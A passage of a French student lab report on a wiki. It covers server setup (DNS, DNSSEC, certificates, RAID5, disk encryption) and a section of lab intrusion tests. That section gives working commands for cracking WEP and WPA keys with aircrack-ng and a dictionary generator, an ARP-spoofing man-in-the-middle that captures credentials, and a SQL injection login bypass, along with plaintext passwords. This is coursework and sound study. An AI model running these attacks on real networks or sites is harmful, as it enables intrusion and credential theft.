     193.48.57.160/28 dev eth0 proto kernel scope link src 193.48.57.171 &lt;br /&gt;
  ping 193.48.57.162 (Adresse IP 3560E)&lt;br /&gt;
&lt;br /&gt;
=== Serveur SSH ===&lt;br /&gt;
Je fais en sorte que ma MV soit accessible à distance, je configure un serveur ssh. Je modifie alors le fichier de configuration /etc/ssh/ssh_config en modifiant cette ligne :&lt;br /&gt;
  vi /etc/ssh/sshd_config&lt;br /&gt;
     PermitRootLogin yes // Permet l'accès direct en root&lt;br /&gt;
  service ssh restart&lt;br /&gt;
Je n'ai alors plus besoin de passer par la commande xl console pour accéder à ma VM, j'utilise directement le ssh.&lt;br /&gt;
  ssh root@193.48.57.171&lt;br /&gt;
&lt;br /&gt;
=== Serveur DNS ===&lt;br /&gt;
&lt;br /&gt;
Le DNS (Domain Name System) permet d'établir la correspondance entre le nom de domaine d'un site et l'adresse IP où il est hébergé sur le réseau internet. Pour accéder à mon site, je n’aurais plus besoin d’indiquer mon adresse IP mais le nom du site choisi.&lt;br /&gt;
&lt;br /&gt;
Il faut que je configure mon domaine sur gandi.net et en étant root sur ma machine virtuelle hawker.&lt;br /&gt;
&lt;br /&gt;
Je commence donc par acheter un nom de domaine sur le site gandi.net : lulya.space. Je passe par « glue records » utilisé pour associer un hostname (nom de serveur ou DNS) à une adresse IP au registre. &lt;br /&gt;
    ns.lulya.space&lt;br /&gt;
    193.48.57.171&lt;br /&gt;
&lt;br /&gt;
Les serveurs de noms permettent d'accéder à un réseau ou du contenu sur internet depuis un nom de domaine.&lt;br /&gt;
    ns.lulya.space      1&lt;br /&gt;
    ns6.gandi.net       2&lt;br /&gt;
Pour le prise en compte ces modifications, on attend de 12 à 24h. &lt;br /&gt;
&lt;br /&gt;
Pour gérer mon serveur DNS, j’utilise la commande bind9 et passe par une configuration en ajoutant et modifiant plusieurs fichiers dans etc/bind.&lt;br /&gt;
Le fichier named.conf.options qui gère les options de configuration du DNS : &lt;br /&gt;
   options {&lt;br /&gt;
        directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
        dnssec-validation auto;&lt;br /&gt;
        listen-on-v6 { any; };&lt;br /&gt;
        allow-transfer { &amp;quot;allowed_to_transfer&amp;quot;; };&lt;br /&gt;
   };&lt;br /&gt;
   acl &amp;quot;allowed_to_transfer&amp;quot; {&lt;br /&gt;
        217.70.177.40/32; //Adresse IP de dns6.gandi.net&lt;br /&gt;
   };&lt;br /&gt;
&lt;br /&gt;
Puis le fichier named.conf.local pour déclarer les zones associées au domaine:&lt;br /&gt;
   zone &amp;quot;lulya.space&amp;quot; {&lt;br /&gt;
      type master;&lt;br /&gt;
      file &amp;quot;/etc/bind/db.lulya.space&amp;quot;;&lt;br /&gt;
    };&lt;br /&gt;
&lt;br /&gt;
Enfin, le fichier de configuration /etc/bind/db.lulya.space :&lt;br /&gt;
   $TTL 3600&lt;br /&gt;
   @ IN SOA ns.lulya.space. postmaster.lulya.space. (&lt;br /&gt;
         1               ; Version&lt;br /&gt;
         1800             ; Refresh (30m)&lt;br /&gt;
         600             ; Retry   (10m)&lt;br /&gt;
         3600             ; Expire (1h)&lt;br /&gt;
         3600 )           ; Minimum TTL (1h)&lt;br /&gt;
   @ IN NS ns.lulya.space.&lt;br /&gt;
   @ IN NS ns6.gandi.net.&lt;br /&gt;
   ns      IN A       192.48.57.171&lt;br /&gt;
&lt;br /&gt;
J’attends quelques minutes puis relance bind9. Mon site http://www.lulya.space est accessible, je peux alors le visualiser en tapant l’adresse sur internet.&lt;br /&gt;
&lt;br /&gt;
Lorsque le DNS est fini d’être configuré, je peux le tester en lançant ping -6 google.fr, je peux voir que cela fonctionne, je considère mon DNS bien configuré.&lt;br /&gt;
&lt;br /&gt;
=== Sécurisation de site web par certificat ===&lt;br /&gt;
&lt;br /&gt;
L'objectif est de sécuriser www.lulya.space.&lt;br /&gt;
Je dois passer par une méthode de vérification sur le serveur Web cible. Il existe, je crois, 3 méthodes, j'ai choisi par mail.&lt;br /&gt;
&lt;br /&gt;
Je modifie mon fichier db.lulya.space&lt;br /&gt;
  Version : 2&lt;br /&gt;
  IN MX 100 ns&lt;br /&gt;
  www  IN A  193.48.57.171&lt;br /&gt;
&lt;br /&gt;
Je relance le service bind9 et installe le serveur de messagerie PostFix. En lançant la commande mailx, je peux alors vérifier que j'ai bien reçu un mail et l'achat du certificat se finalise. &lt;br /&gt;
&lt;br /&gt;
Gandi fournit une clé hawker.pem et un certificat hawker.crt, je génère une clé : lulya.csr en utilisant l'utilitaire OpenSSL dans le dossier /etc/apache2/certificat&lt;br /&gt;
  openssl req -nodes -newkey rsa:2048 -sha256 -keyout lulya.key -out lulya.csr&lt;br /&gt;
&lt;br /&gt;
J'achète un certificat clé pour se connecter de façon sécurisée sur Gandi en passant par la rubrique Cerificat SSL. Je partage ma clé.csr avec Gandi, il étudie la validité de mon domaine lulya.space, puis choisi ou non de le certifier. &lt;br /&gt;
&lt;br /&gt;
Pour valider cette étape, j'ai envoyé un mail par polytech mail, et je l'ai vu via la commande mailx.&lt;br /&gt;
&lt;br /&gt;
En rencontrant un problème, j'ai utilisé une commande servant d'outil de dépannage.&lt;br /&gt;
&lt;br /&gt;
  nano /etc/aliases&lt;br /&gt;
  apt install strace&lt;br /&gt;
  strace -f -o open newaliases&lt;br /&gt;
  strace -f  newaliases&lt;br /&gt;
  newaliases /etc/aliases&lt;br /&gt;
J'envoie un nouveau mail mais à admin.&lt;br /&gt;
Grâce à mailx, on voit le mail, c'est mon certificat&lt;br /&gt;
&lt;br /&gt;
=== Sécurisation de serveur DNS par DNSSEC ===&lt;br /&gt;
&lt;br /&gt;
Au delà de mon site sécurisé, je veux avoir toute la chaine de transmission, ce qui évitera la fraude. Je sécurise mon serveur DNS en signant la zone correspondant à mon nom de domaine.&lt;br /&gt;
Je débute par l'ajout de l'option dnssec-enable yes dans named.conf.options.&lt;br /&gt;
&lt;br /&gt;
Ensuite, je crée un répertoire lulya.space.dnssec pour y générer des paires de clés.&lt;br /&gt;
La clé asymétrique de signature de clefs de zone&lt;br /&gt;
  dnssec-keygen -r /dev/urandom -a RSASHA1 -b 2048 -f KSK -n ZONE lulya.space&lt;br /&gt;
La clé asymétrique de zone pour les enregistrements&lt;br /&gt;
  dnssec-keygen -r /dev/urandom -a RSASHA1 -b 1024 -n ZONE lulya.space&lt;br /&gt;
&lt;br /&gt;
Je renomme les deux paires de clés obtenues en utilisant le nom de la zone comme préfixe et en suffixe : &lt;br /&gt;
&lt;br /&gt;
- la destination de la clef : ksk pour la clef KSK et zks pour la clef ZSK &lt;br /&gt;
&lt;br /&gt;
- puis par le type de clef : .key pour la clef publique ou .private pour la clef privée&lt;br /&gt;
  mv Klulya.space.+005+11461.key              lulya.space-ksk.key&lt;br /&gt;
  mv Klulya.space.+005+11461.private      lulya.space-ksk.private&lt;br /&gt;
  mv Klulya.space.+005+27882.key              lulya.space-zsk.key&lt;br /&gt;
  mv Klulya.space.+005+27882.private      lulya.space-zsk.private&lt;br /&gt;
Pour finir, je les place dans un dossier crée /etc/bind/lulya.space.dnssec&lt;br /&gt;
&lt;br /&gt;
Ensuite, j'inclue les clefs publiques dans mon fichier db.lulya.space&lt;br /&gt;
  $include /etc/bind/lulya.space.dnssec/lulya.space-ksk.key&lt;br /&gt;
  $include /etc/bind/lulya.space.dnssec/lulya.space-zsk.key&lt;br /&gt;
&lt;br /&gt;
Je signe les enregistrements&lt;br /&gt;
  dnssec-signzone -o lulya.space -k lulya.space-ksk  ../db.lulya.space lulya.space-zsk&lt;br /&gt;
&lt;br /&gt;
Je modifie le fichier named.conf.local pour utiliser db.lulya.space.signed&lt;br /&gt;
  zone &amp;quot;lulya.space&amp;quot; {&lt;br /&gt;
     type master;&lt;br /&gt;
     file &amp;quot;/etc/bind/db.lulya.space.signed&amp;quot;;&lt;br /&gt;
  };&lt;br /&gt;
&lt;br /&gt;
Après avoir finalisé tous les paramètres de mon site www.lulya.space, je vérifie sa configuration sur le site dnsvize.net&lt;br /&gt;
On peut voir que tout est bien en place de mon côté. Par contre, il existe un défaut du côté du .space détenu par mon nom de domaine.&lt;br /&gt;
&lt;br /&gt;
      [[Fichier:DNS Léna.png|800px|thumb|left|Interface eth0]]&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot; \&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Tests d'intrusion ==&lt;br /&gt;
&lt;br /&gt;
=== Cassage de clef WEP d’un point d’accès WiFi ===&lt;br /&gt;
&lt;br /&gt;
On branche d’abord une clef wifi et je commence à installer le paquetage aircrack-ng.&lt;br /&gt;
&lt;br /&gt;
Je dois trouver le point d’accès : canal et nom des réseaux.&lt;br /&gt;
&lt;br /&gt;
Via airmon-ng, un script permettant d’activer ou de désactiver le mode moniteur d’une carte réseau. &lt;br /&gt;
&lt;br /&gt;
Dans notre cas, la carte Wi-fi se place en observateur du réseau.&lt;br /&gt;
&lt;br /&gt;
Je liste les interfaces disponibles :&lt;br /&gt;
  root@zabeth09:~# airmon-ng&lt;br /&gt;
    PHY	  Interface	  Driver	Chipset&lt;br /&gt;
    phy0  wlx40a5efd2140c rt2800usb	Ralink Technology, Corp. RT5370&lt;br /&gt;
&lt;br /&gt;
Puis, je passe la carte Wifi wlx40a5efd2140c en mode moniteur, espion du réseau sans fil.&lt;br /&gt;
&lt;br /&gt;
  root@zabeth09:~# airmon-ng start wlx40a5efd2140c&lt;br /&gt;
  Interface wlx40a5efd2140cmon is too long for linux so it will be renamed to the old style (wlan#) name.&lt;br /&gt;
        (mac80211 monitor mode vif enabled on [phy0]wlan0mon&lt;br /&gt;
        (mac80211 station mode vif disabled for [phy0]wlx40a5efd2140c)&lt;br /&gt;
&lt;br /&gt;
Le nom de l'interface a été modifié, considéré trop long et wlan0mon a été choisi.&lt;br /&gt;
&lt;br /&gt;
En relançant airmon-ng, on peut voir que le nom de l’interface a bien été changé&lt;br /&gt;
  root@zabeth09:~# airmon-ng&lt;br /&gt;
    PHY	  Interface	Driver		Chipset&lt;br /&gt;
    phy0    wlan0mon	rt2800usb	Ralink Technology, Corp. RT5370&lt;br /&gt;
&lt;br /&gt;
Je scanne le réseau Wifi, j’obtiens toutes les trames Wifi sur tous les canaux &lt;br /&gt;
  root@zabeth09:~# airmon-ng –encrypt wep wlan0mon&lt;br /&gt;
&lt;br /&gt;
Le terminal essaye d'obtenir tous les channels et beaucoup d'informations s'affichent. &lt;br /&gt;
&lt;br /&gt;
Je visualise cracotte07 dans la liste pour ses informations.&lt;br /&gt;
  root@zabeth09:~# airodump-ng --channel 9 --bssid 04:DA:D2:9C:50:56 wlan0mon&lt;br /&gt;
Tous les cracotte sont limitées au channel 9 et le SSID de cracotte07 est 04:DA:D2:9C:50:56&lt;br /&gt;
&lt;br /&gt;
Je récupère toutes les données qui transitent sur ce channel en me concentrant uniquement sur les paquets échangés avec cracotte07.&lt;br /&gt;
  airodump-ng -w lcrack -c 9 --bssid 04:DA:D2:9C:50:56 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Après avoir suffisamment de trames volées, je lance un autre terminal pour décrypter la clé WEP&lt;br /&gt;
  root@zabeth09:~# aircrack-ng lcrack-01.cap&lt;br /&gt;
  Opening lcrack-01.capse wait…&lt;br /&gt;
&lt;br /&gt;
Il faut attendre plusieurs minutes et on obtient la clé, on peut voir qu’il en a testé 833 avant.&lt;br /&gt;
&lt;br /&gt;
                              Aircrack-ng 1.5.2 &lt;br /&gt;
                 [00:00:00] Tested 833 keys (got 73079 IVs)&lt;br /&gt;
   KB    depth   byte(vote)&lt;br /&gt;
    0    0/ 17   F1(93696) BD(84480) E7(84224) 6F(83456) 12(82176) &lt;br /&gt;
    1    0/  1   91(103680) 34(83968) 54(83456) B3(83456) B9(82432) &lt;br /&gt;
    2    2/  2   60(83200) 3A(82688) 7E(82176) 12(81920) 0E(81664) &lt;br /&gt;
    3   15/  3   B1(79872) 06(79616) 11(79616) 5B(79360) B2(79104) &lt;br /&gt;
    4    0/  1   74(103168) 8D(85248) 03(82176) 7A(82176) 21(81664) &lt;br /&gt;
             KEY FOUND! [ F1:DE:D4:00:00:00:00:00:00:09:99:99:99 ] &lt;br /&gt;
    Decrypted correctly: 100%&lt;br /&gt;
&lt;br /&gt;
=== Cassage de mot de passe WPA-PSK par force brute === &lt;br /&gt;
En utilisant la même méthode, on peut craquer une autre clef WPA.&lt;br /&gt;
  root@zabeth09:~# airodump-ng -w lkrack -c 4 --bssid 00:14:1B:60:8C:26 wlan0mon&lt;br /&gt;
    -rw-r--r-- 1 root root  88K Nov  4 17:11 lkrack-03.cap&lt;br /&gt;
&lt;br /&gt;
Le craquage doit se faire avec l’aide d’un dictionnaire. On suppose que la clef WPA est un nombre sur 8 chiffres, je vais donc créer un dictionnaire de ce format via un code en langage c.&lt;br /&gt;
&lt;br /&gt;
  int main(void){&lt;br /&gt;
        int x;&lt;br /&gt;
        for(x=0; x=99999999; x++){&lt;br /&gt;
            printf(&amp;quot;%08d\n&amp;quot;,x);&lt;br /&gt;
        }&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
Je compile main.c, ça consiste en une série d'étapes de transformation du code source en du code machine exécutable. La série de nombres doit se retrouver alors dans mon fichier cible dico. &lt;br /&gt;
  root@zabeth09:~# gcc -Wall -o dico main.c&lt;br /&gt;
&lt;br /&gt;
Je vérifie que cette commande s'est bien déroulée, en vérifiant le début et la fin du fichier dico.&lt;br /&gt;
  root@zabeth09:~# ./dico | more&lt;br /&gt;
    00000000&lt;br /&gt;
    00000001&lt;br /&gt;
    00000002&lt;br /&gt;
    00000003&lt;br /&gt;
    00000004&lt;br /&gt;
  root@zabeth09:~# ./dico | tail&lt;br /&gt;
    99999995&lt;br /&gt;
    99999996&lt;br /&gt;
    99999997&lt;br /&gt;
    99999998&lt;br /&gt;
    99999999&lt;br /&gt;
&lt;br /&gt;
Je finis par les transférer dans un fichier .txt et l'envoie à d'autres PC&lt;br /&gt;
  root@zabeth09:~# ./dico &amp;gt; dico.txt&lt;br /&gt;
  root@zabeth09:~# scp dico.txt zabethxx&lt;br /&gt;
&lt;br /&gt;
Je choisis de lancer le traitement sur 2 PC plus puissant, normalement 5 fois plus, zabeth22 et zabeth26, que mon PC zabeth09. &lt;br /&gt;
Je commence à exécuter le traitement sur le fichier que je viens de créer dico.txt comportant tous les nombres de 0 à 9999 9999.&lt;br /&gt;
  root@zabeth22:~# aircrack-ng -w /tmp/dico.txt /tmp/&lt;br /&gt;
  root@zabeth22:~# aircrack-ng -w /tmp/dico.txt /tmp/lkrack-03.cap  &amp;gt; /tmp/result&lt;br /&gt;
&lt;br /&gt;
En remarquant le temps que cela va prendre, je décide de couper ce fichier en 2 et de lancer un autre traitement mais seulement sur les nombres à partir de 4999 9999. L'exécution est censée prendre 2 fois moins de temps que celle sur zabeth22.&lt;br /&gt;
  root@zabeth09:~# split -n 2 dico.txt&lt;br /&gt;
J’obtiens alors 2 fichiers xaa et xab, comportant les 2 moitiés de dico&lt;br /&gt;
  root@zabeth09:~# ls -lhrt &lt;br /&gt;
  -rw-r--r-- 1 root root  101 Nov  4 17:09 main.c&lt;br /&gt;
  -rwxr-xr-x 1 root root  17K Nov  4 17:09 dico&lt;br /&gt;
  -rw-r--r-- 1 root root 430M Nov  4 17:15 xaa&lt;br /&gt;
  -rw-r--r-- 1 root root 430M Nov  4 17:15 xab&lt;br /&gt;
En tapant la commande tail, je vérifie que celui que je veux est bien xab&lt;br /&gt;
&lt;br /&gt;
Puis je passe sur zabeth26 et je passe au même procédé que sur zabeth22&lt;br /&gt;
  root@zabeth26:~# aircrack-ng -w /tmp/xab /tmp/lkrack-03.cap  &amp;gt; /tmp/result&lt;br /&gt;
&lt;br /&gt;
Pour finir, je fais en sorte de voir en direct les deux calculs de correction de clé (défilement des nombres)&lt;br /&gt;
  root@zabeth22:~# cat /tmp/result &lt;br /&gt;
    Aircrack-ng 1.5.2 &lt;br /&gt;
      [00:09:13] 10260165/102795810 keys tested (3427.05 k/s) &lt;br /&gt;
      Time left: 7 hours, 30 minutes, 1 second      9.98%&lt;br /&gt;
                           KEY FOUND! [ 10255555 ]&lt;br /&gt;
&lt;br /&gt;
La clé se trouvait dans les 1er 10 % de dico. On peut voir qu'on obtient 8 chiffres, un seul correspond à la clé.&lt;br /&gt;
On peut lire le temps qu’il lui restait pour tout analyser, ça confirme que c’était une bonne idée de lancer le second traitement.&lt;br /&gt;
Il est logique que celui-ci nous donne aucune clé en réponse.&lt;br /&gt;
&lt;br /&gt;
  root@zabeth26:~# cat /tmp/result &lt;br /&gt;
   [00:46:05] 50000000/51397904 keys tested (3498.19 k/s) &lt;br /&gt;
      Time left: 0 seconds              97.28%&lt;br /&gt;
                          KEY NOT FOUND&lt;br /&gt;
Anecdote, le traitement est considéré terminé au vu du temps qu'il ne reste pas, mais il est tout de même écrit 97.28% d'analyse effectuée. Il existe souvent des petites erreurs de suivis des ordinateurs, mais non critiques.&lt;br /&gt;
&lt;br /&gt;
=== Attaque de type &amp;quot;homme au milieu&amp;quot; par usurpation ARP ===&lt;br /&gt;
&lt;br /&gt;
J'ai besoin du paquetage dsniff qui contient plusieurs outils pour écouter ou créer du trafic réseau :&lt;br /&gt;
&lt;br /&gt;
- arpspoof : envoie des réponses ARP non requises et potentiellement falsifiées&lt;br /&gt;
&lt;br /&gt;
- dnsspoof : crée des réponses à des requêtes d'adresse ou de pointeur DNS arbitraires sur le réseau local&lt;br /&gt;
&lt;br /&gt;
- dsniff : écoute de mots de passe pour différents protocoles&lt;br /&gt;
&lt;br /&gt;
Je vérifie d’abord que dorade est bien configuré au niveau du réseau.&lt;br /&gt;
  root@dorade:/home/pifou# cat /etc/network/interfaces&lt;br /&gt;
    # This is an autoconfigured IPv6 interface&lt;br /&gt;
    iface eth0 inet static&lt;br /&gt;
        address 172.26.145.101&lt;br /&gt;
        netmask 255.255.255.0&lt;br /&gt;
        gateway 172.26.145.254&lt;br /&gt;
&lt;br /&gt;
Je récupère son interface ethernet, la commande liste toutes les interfaces avec les informations nécessaires&lt;br /&gt;
  root@dorade:/home/pifou# ip a&lt;br /&gt;
    1: lo: &amp;lt;LOOPBACK,UP,LOWER_UP&amp;gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1&lt;br /&gt;
    2: eth0: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc pfifo_fast state UP group default qlen 1000&lt;br /&gt;
&lt;br /&gt;
Une commande permet de voir la table de routage.&lt;br /&gt;
  root@dorade:/home/pifou# ip r&lt;br /&gt;
    default via 172.26.145.254 dev eth0 onlink &lt;br /&gt;
    169.254.0.0/16 dev eth0 scope link metric 1000 &lt;br /&gt;
    172.26.145.0/24 dev eth0 proto kernel scope link src 172.26.145.101 &lt;br /&gt;
&lt;br /&gt;
Je vérifie qu’il est bien relié au réseau en pingant zabeth09.&lt;br /&gt;
  root@dorade:/home/pifou# ping zabeth09&lt;br /&gt;
    PING zabeth09(2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9)) 56 data bytes&lt;br /&gt;
    64 bytes from 2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9): icmp_seq=1 ttl=64 time=0.914 ms&lt;br /&gt;
    64 bytes from 2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9): icmp_seq=2 ttl=64 time=0.813 ms&lt;br /&gt;
    --- zabeth09 ping statistics ---&lt;br /&gt;
    2 packets transmitted, 2 received, 0% packet loss, time 1001ms&lt;br /&gt;
    rtt min/avg/max/mdev = 0.813/0.863/0.914/0.058 ms&lt;br /&gt;
&lt;br /&gt;
En vérifiant toutes ces informations, je valide le fait qu’il est bien configuré au réseau et peut communiquer avec tous les équipements dont zabeth09.&lt;br /&gt;
&lt;br /&gt;
Je transforme dorade en routeur, ce mode est géré par la variable noyau /proc/sys/net/ipv4/ip_forward.&lt;br /&gt;
&lt;br /&gt;
- La commande retourne la valeur 0 : l'IP Forwarding n'est pas activé.&lt;br /&gt;
&lt;br /&gt;
- La commande retourne la valeur 1 : l'IP Forwarding est activé.&lt;br /&gt;
  root@dorade:/home/pifou# cat /proc/sys/net/ipv4/ip_forward      0 &lt;br /&gt;
Dorade n’est pas en mode routeur, je passe alors le noyau à 1&lt;br /&gt;
  root@dorade:/home/pifou# echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward &lt;br /&gt;
&lt;br /&gt;
J'utilise la commande arpsppof, en prenant les informations collectées au début.&lt;br /&gt;
Dorade via eth0, son interface ethernet, envoie des réponses ARP non requises à zabeth09 en passant par le gateway, qui examine la légitimité de sa demande qui en réalité ne l'est pas.&lt;br /&gt;
  root@dorade:/home/pifou# arpspoof -i eth0 -t zabeth09 172.26.145.254&lt;br /&gt;
    5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1&lt;br /&gt;
    5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1&lt;br /&gt;
    5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1&lt;br /&gt;
    5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1&lt;br /&gt;
&lt;br /&gt;
Lors de cette étape toujours en cours, je lance un second terminal.&lt;br /&gt;
Je vérifie que dorade est bien routeur et installe wireshark, il permet d'analyser les paquets, le réseau et les protocoles.&lt;br /&gt;
  root@dorade:/home/pifou# cat /proc/sys/net/ipv4/ip_forward      1&lt;br /&gt;
  root@dorade:/home/pifou# cat /proc/sys/net/ipv4/conf/all/rp_filter      0&lt;br /&gt;
  root@dorade:/home/pifou# wireshark&lt;br /&gt;
      [[Fichier:Mdp zabeth09.png|800px|thumb|left|Interface eth0]]&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot; \&amp;gt;&lt;br /&gt;
On voit tous les protocoles de transfert dont celui qui m'a permis de récupérer des informations confidentielles, ici le nom d'utilisateur : pifou et le mot de passe : pasglop.&lt;br /&gt;
On peut aussi savoir que je l'ai récupéré par un site de Polytech : http://applications.polytech-lille.fr&lt;br /&gt;
&lt;br /&gt;
=== Intrusion sur un serveur d’application Web ===&lt;br /&gt;
&lt;br /&gt;
Je veux m'introduire sur un site de Polytech honey.plil.info.&lt;br /&gt;
Je commence par trouver une requête SQL qui vérifiera la validité de la connexion pour la page d'identification de ce site.&lt;br /&gt;
  SELECT id FROM users WHERE id='$id' AND pass='$pass';&lt;br /&gt;
Puis je dois trouver ce que doit contenir $pass pour que cette requête récupère en fait toutes les lignes de la table utilisateurs.&lt;br /&gt;
Le true n'existe pas en SQL, je vais alors en simuler un : ' OR ''='&lt;br /&gt;
&lt;br /&gt;
Pour accéder au site, qui me demande un identifiant et un mot de passe, je procède de cette façon : Nom d'utilisateur : N'importe et mot de passe : ' OR ''='&lt;br /&gt;
&lt;br /&gt;
J'accède au site qui m'affiche la liste des utilisateurs et leur mot de passe&lt;br /&gt;
[[Fichier:Honey_Léna.png|380px|thumb|left|Listes des utilisateurs]]&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot; \&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Réalisation ==&lt;br /&gt;
&lt;br /&gt;
=== Sécurisation de données ===  &lt;br /&gt;
&lt;br /&gt;
Pour sécuriser mes données, je passe par une redondance matérielle comme le fait déjà Polytech. On évite de tout perdre s'il y a un problème.&lt;br /&gt;
&lt;br /&gt;
Je crée un RAID5 logiciel sur ma VM. Il permet d'écrire les données à la suite sur les disques durs qui sont stockées. Si on perd un disque, les données pourront être reconstituées par les autres toujours fonctionnels.&lt;br /&gt;
&lt;br /&gt;
Sur Capbreton, je créé un disque niveau 5, un seul système de fichier composé de 3 partitions. &lt;br /&gt;
&lt;br /&gt;
Je commence par créer les 3 partitions LVM de 1Go&lt;br /&gt;
  lvcreate -l1G -n hawker-raid1 storage&lt;br /&gt;
  lvcreate -l1G -n hawker-raid2 storage&lt;br /&gt;
  lvcreate -l1G -n hawker-raid3 storage&lt;br /&gt;
&lt;br /&gt;
Je visualise les disques créés via la commande &lt;br /&gt;
  vgdisplay&lt;br /&gt;
Il existe 3 types de volumes différents : storage, virtual et system.&lt;br /&gt;
&lt;br /&gt;
Je les associe à ma VM en l'éteignant et modifiant le fichier de configuration hawker.cfg en ajoutant :&lt;br /&gt;
  disk= [ ...     &lt;br /&gt;
          'phy:/dev/virtual/hawker-raid1,xvdc1,w',&lt;br /&gt;
          'phy:/dev/virtual/hawker-raid2,xvdc2,w',&lt;br /&gt;
          'phy:/dev/virtual/hawker-raid3,xvdc3,w',&lt;br /&gt;
        ]&lt;br /&gt;
&lt;br /&gt;
Puis je le rallume ma VM et via la commande lsblk, je vois mes 3 disques ajoutés.&lt;br /&gt;
&lt;br /&gt;
Je met en place le disque niveau 5 (RAID5) avec les 3 partitions&lt;br /&gt;
  mdadm --create /dev/md0 --level=5   --raid-devices 3 /dev/xvdc1 /dev/xvdc2 /dev/xvdc3&lt;br /&gt;
Je reprends le protocole que j'ai déjà effectué pour les partitions xvdb en utilisant mkfs, mount et cat. Les partitions sont alors actives.&lt;br /&gt;
  mkfs /dev/md0&lt;br /&gt;
  mount /dev/md0 /mnt&lt;br /&gt;
  cat /proc/mdstat&lt;br /&gt;
&lt;br /&gt;
Et je dois imposer le montage de RAID5 à chaque démarrage&lt;br /&gt;
   /dev/md0  /raid5  ext2  defaults  0  2 &lt;br /&gt;
&lt;br /&gt;
Si je stocke des données, en exemple le dossier bind, je les retrouve dans le répertoire raid5. Je vérifie que le système fonctionne et que mes données sont sécurisées. &lt;br /&gt;
&lt;br /&gt;
1er essai : Je commence par commenter la ligne du disque 2 de mon fichier de configuration. Les partitions sont considérées inactives, je repasse par le protocole précédent pour les réactiver et remonter mon disque. Malgré cet incident, on retrouve toutes les données présentes au même endroit.&lt;br /&gt;
&lt;br /&gt;
2ème essai : Je simule la perte du disque 2&lt;br /&gt;
  cp -a /usr/bin /mnt                               //Copie de données&lt;br /&gt;
  dd if=/dev/zero of=toto bs=1024k count=100        //Copier partie ou tout d'un disque &lt;br /&gt;
&lt;br /&gt;
  mdadm --set-faulty /dev/md0 /dev/xvdc2           //Perte du fichier disque 2 &lt;br /&gt;
  cat /proc/mdstat                                 //On voit qu'on a plus de partitions&lt;br /&gt;
  ls -R /mnt                                       //Vérifier qu'on a gardé les fichiers&lt;br /&gt;
  umount /mnt                                     //Démonter le système de fichier&lt;br /&gt;
&lt;br /&gt;
  mdadm --remove /dev/md0 /dev/xvdc2             //Je replace la partitions 2&lt;br /&gt;
  mdadm --add /dev/md0 /dev/xvdc2&lt;br /&gt;
  cat /proc/mdstat                               //On voit qu'il met quelques temps à le récupérer&lt;br /&gt;
&lt;br /&gt;
Je considère la sécurisation de mes données de VM atteinte.&lt;br /&gt;
&lt;br /&gt;
Encore utilisé à Polytech, on voit un disque gardé au cas où ceux en marche expire. Il gère les fichiers du disque qui va expirer. Quand replace un nouveau, il replace les fichiers dans celui là. Il fera cette même action à chaque fois.&lt;br /&gt;
&lt;br /&gt;
=== Chiffrement de données ===&lt;br /&gt;
&lt;br /&gt;
L'objectif est le cryptage de données contenues par une clé USB. Protégée par un mot de passe, il faudra le connaître pour accéder à son contenu.&lt;br /&gt;
&lt;br /&gt;
Je branche une clé USB sur mon PC et la sécurise&lt;br /&gt;
  cryptsetup open /dev/sdb cle --type : plain&lt;br /&gt;
      password : licorne&lt;br /&gt;
Dans ce cas, on peut utiliser deux types de cryptage : Plain ou Luks, j'ai choisi plain conseillé par M. Redon.&lt;br /&gt;
Je lance la commande lsbk pour visualiser les périphériques disponibles comme sdb : sdb1, sdb2 et je trouve aussi clé ajoutée après la commande cryptsetup&lt;br /&gt;
Je supprime les signatures et les avertissements&lt;br /&gt;
  wipefs --all --force /dev/sdb&lt;br /&gt;
  &lt;br /&gt;
  ls /dev/mapper&lt;br /&gt;
     clé : nom du périphérique chiffré&lt;br /&gt;
     /dev/mapper cle&lt;br /&gt;
&lt;br /&gt;
Système de fichier pour mapper.&lt;br /&gt;
Création &lt;br /&gt;
  mkfs /dev/mapper/cle&lt;br /&gt;
Montage&lt;br /&gt;
  mount /dev/mapper/cle  /mnt&lt;br /&gt;
  dh -h&lt;br /&gt;
Donne l'espace disque libre sur chaque système de fichier monté.&lt;br /&gt;
On a quelque chose sur la clé.&lt;br /&gt;
Création de fichier&lt;br /&gt;
  nano /mnt/toto &lt;br /&gt;
Démonter la clé&lt;br /&gt;
  umount /mnt&lt;br /&gt;
  crypt setup close cle --type = plain&lt;br /&gt;
/cle/mapper n'est plus accessible&lt;br /&gt;
Sur un autre ordinateur, la clé est invisible. Même si je fais un open, je la vois mais il me demande le mot de passe qui est licorne (choisi au début).&lt;br /&gt;
&lt;br /&gt;
=== Sécurisation WiFi par WPA2-EAP ===&lt;br /&gt;
&lt;br /&gt;
==== Configuration serveur FreeRadius ====&lt;br /&gt;
&lt;br /&gt;
L'objectif est le contrôle par WPA2-EAP de l'accès à la borne WIFI. L'identification sera fera grâce à un serveur FreeRadius, qui permet de centraliser tous les utilisateurs, pour la sécurisation filaire.&lt;br /&gt;
&lt;br /&gt;
Je dois procéder à la configurarion du serveur FreeRadius sur ma machine virtuelle.&lt;br /&gt;
&lt;br /&gt;
Evidemment, je commence par l'installer, en procédant d'abord à une mise à jour.&lt;br /&gt;
  apt update&lt;br /&gt;
  apt install freeradius&lt;br /&gt;
&lt;br /&gt;
